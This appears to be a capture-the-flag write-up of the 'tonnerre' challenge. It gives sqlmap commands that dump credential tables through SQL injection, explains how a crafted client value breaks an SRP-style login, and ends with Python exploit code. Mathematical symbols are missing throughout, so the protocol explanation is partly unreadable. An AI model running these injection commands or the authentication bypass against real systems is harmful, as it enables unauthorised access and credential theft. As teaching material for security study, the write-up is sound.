Worth 200 points, with the description:
We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure. But then we came across this website and now we’re having second thoughts… We think they store the service users in the same database?
The link directs to a website which has a SQLi vulnerability. Running sqlmap:
python sqlmap.py -u http://tonnerre.pwning.xxx:8560/login.php --data="password=xxx&username=" -D tonnerre -T users --dump
python sqlmap.py -u http://tonnerre.pwning.xxx:8560/login.php --data="password=xxx&username=" -D tonnerre -T admin_users --dump
we obtain the username
get_flag and a pair of values:
The following protocol is executed:
- The server asks for username and an integer .
- Then, the server computes for some (unknown) random value and known generator and modulus .
- It responds with and .
- The server computes and then .
- It then asks for a proof and checks whether . If not, it rejects.
The first thing we note is that is not known to us, so the first thing we could try is to choose or . This would cause or , but unfortunately it is not that simple (but almost!). The protocol checks that . So, it cannot be set to , is that would violate the condition above. But what about ? That would work! Actually any power is a viable solution.
This forces . OK, good, since this is a value we can determine! Using , we may compute , so we find the key as . From this only, it is pretty easy. We compute the proof as in the above protocol: and send it to the server. Performing the described steps, we find the flag:
The code used to get the flag is
s = socket.create_connection(('tonnerre.pwning.xxx',8561)) print '[+] Connected:', recvuntil('\n').strip('\n') # our crafted public client value public_client = (libnum.modular.invmod(verifier, N) * g**2) % N s.send('get_flag\n') s.send(tostr(public_client)) recvuntil('\n') # obtain residue value residue = int(recvuntil('\n'), 16) public_server = (residue-verifier) % N # compute session key and proof session_key = H(tostr(public_server**2 % N)) proof = H(tostr(residue) + session_key) print '[ ] Sending:', proof, '...' s.send(proof + '\n') recvuntil('\n') print '[+] Returned:', recvuntil('\n')
which gives the output: